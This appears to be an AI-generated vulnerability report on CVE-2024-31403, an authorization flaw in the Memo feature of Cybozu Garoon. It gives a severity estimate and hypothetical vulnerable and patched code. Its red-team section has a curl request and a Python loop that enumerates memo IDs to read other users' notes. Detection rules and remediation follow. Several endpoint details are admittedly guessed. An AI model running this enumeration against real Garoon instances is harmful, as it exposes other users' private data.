CVE-2024-31403

Executive Summary

CVE-2024-31403 is an incorrect authorization vulnerability in Cybozu Garoon versions 5.0.0 through 6.0.0. This flaw allows a remote authenticated attacker to alter and/or obtain the data of Memo without proper authorization checks. The vulnerability resides in the authorization logic for the Memo feature, enabling privilege escalation or unauthorized data access. No public proof-of-concept (PoC) or exploit code is currently available, and the patch status remains unknown.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary enterprise web application (Cybozu Garoon) and is not part of a public software supply chain.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or uncalculated value. Based on the description and impact, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – remote exploitation possible.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): Low (L) – attacker needs valid credentials.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – vulnerability does not cross trust boundaries.
• Confidentiality (C): High (H) – unauthorized data access.
• Integrity (I): High (H) – unauthorized data alteration.
• Availability (A): None (N) – no denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N Estimated Base Score: 8.1 (High)

Threat Level: High – due to low attack complexity and high impact on confidentiality and integrity.

Deep Dive & Mechanics

The vulnerability is an incorrect authorization (CWE-863) in the Memo feature of Cybozu Garoon. The Memo feature allows users to create, view, edit, and delete personal notes. The flaw occurs when the application fails to properly verify that the authenticated user has the necessary permissions to access or modify a specific Memo record.

Root Cause: The authorization check likely relies on a user ID or role that can be manipulated or bypassed. For example, the application may use a client-supplied parameter (e.g., memo_id) to fetch the Memo without verifying that the current user owns or has rights to that Memo. This allows an attacker to enumerate or modify Memos belonging to other users.

Attack Flow:

1. Attacker authenticates as a low-privileged user.
2. Attacker sends a crafted HTTP request (e.g., GET or POST) to the Memo API endpoint, manipulating the memo_id or user identifier.
3. The server returns or modifies the Memo data without proper authorization checks.
4. Attacker can read sensitive information or alter Memos of other users.

Affected Components:

• Cybozu Garoon versions 5.0.0 to 6.0.0.
• The Memo module (likely /garoon/memo/ or similar endpoint).

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the vulnerable code pattern.

Vulnerable Code (Pseudocode):

@app.route('/api/memo/<memo_id>')
def get_memo(memo_id):
    memo = db.query("SELECT * FROM memos WHERE id = ?", memo_id)
    # Missing authorization check
    return jsonify(memo)

Patched Code (Hypothetical):

@app.route('/api/memo/<memo_id>')
def get_memo(memo_id):
    user_id = get_current_user_id()
    memo = db.query("SELECT * FROM memos WHERE id = ? AND user_id = ?", memo_id, user_id)
    if not memo:
        abort(403)
    return jsonify(memo)

The fix would involve adding a server-side authorization check that ensures the requesting user has ownership or appropriate permissions for the requested Memo.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Valid credentials for a low-privileged user on a Cybozu Garoon instance (version 5.0.0 to 6.0.0).
• Network access to the Garoon web interface.

Exploitation Steps:

1. Authenticate: Log in to Garoon with the low-privileged account.
2. Enumerate Memo IDs: Use a simple script to brute-force or guess Memo IDs (e.g., sequential integers).
3. Exploit Authorization Bypass: Send a GET request to /garoon/memo/view?id=<target_memo_id> or similar endpoint.
4. Extract Data: If the server returns the Memo content without authorization, the attack is successful.

Example Request (cURL):

curl -X GET "https://target-garoon.example.com/garoon/memo/view?id=12345" \
  -H "Cookie: GAROON_SESSION=valid_session_cookie"

Automation Script (Python):

import requests

session = requests.Session()
session.cookies.set("GAROON_SESSION", "valid_session_cookie")

for memo_id in range(1, 1000):
    r = session.get(f"https://target-garoon.example.com/garoon/memo/view?id={memo_id}")
    if r.status_code == 200 and "memoContent" in r.text:
        print(f"Found memo {memo_id}: {r.text[:200]}")

Blue Team (Defender)

Detection:

• Monitor for unusual access patterns to the Memo endpoint (e.g., sequential ID requests).
• Alert on failed authorization attempts (403 errors) followed by successful access to Memos.
• Use Web Application Firewall (WAF) rules to block requests with suspicious parameters.

Hunting:

• Search logs for requests to /garoon/memo/view or /garoon/memo/edit with varying id parameters from a single user.
• Correlate with authentication logs to identify low-privileged users accessing Memos outside their scope.

Lab Setup:

• Deploy a vulnerable Cybozu Garoon instance (version 5.0.0 to 6.0.0) in an isolated environment.
• Create multiple users with different privilege levels.
• Use a web proxy (e.g., Burp Suite) to intercept and modify requests.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /garoon/memo/view or /garoon/memo/edit with sequential or brute-forced id parameters.
  • Unusual number of 403 errors followed by 200 responses for the same user.
• Logs:
  • Garoon access logs showing repeated access to Memo endpoints with different IDs from a single user.
  • Authentication logs showing a low-privileged user accessing Memos of other users.
• File System:
  • No specific file-based IOCs; the attack is purely API-based.

Detection Engineering

YARA Rule

rule CVE_2024_31403_Garoon_Memo_Access {
    meta:
        description = "Detects exploitation attempts for CVE-2024-31403 in Cybozu Garoon"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-31403"
    strings:
        $memo_endpoint = "/garoon/memo/view" nocase
        $memo_edit = "/garoon/memo/edit" nocase
        $id_param = "id=" nocase
    condition:
        any of ($memo_endpoint, $memo_edit) and $id_param
}

Sigma Rule

title: CVE-2024-31403 - Cybozu Garoon Memo Authorization Bypass
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects potential exploitation of incorrect authorization in Cybozu Garoon Memo feature
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/garoon/memo/view'
    condition: selection
falsepositives:
    - Legitimate users accessing their own Memos
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-31403 - Cybozu Garoon Memo Authorization Bypass"; flow:to_server,established; content:"GET"; http_method; content:"/garoon/memo/view"; http_uri; content:"id="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: If a patch becomes available, upgrade to the latest version of Cybozu Garoon immediately.
2. Workaround: If patching is not possible, restrict access to the Memo feature using network segmentation or WAF rules.
3. Monitor: Enable detailed logging for all Memo-related API calls and monitor for suspicious activity.

Long-Term Fixes:

• Implement server-side authorization checks for all Memo operations.
• Use parameterized queries to prevent injection (though not the primary issue here).
• Conduct a security audit of all authorization logic in the application.

Valters IT Signature:

This report was generated by Valters IT DevSecOps AI Assistant. For questions or further analysis, contact security@valters-it.com.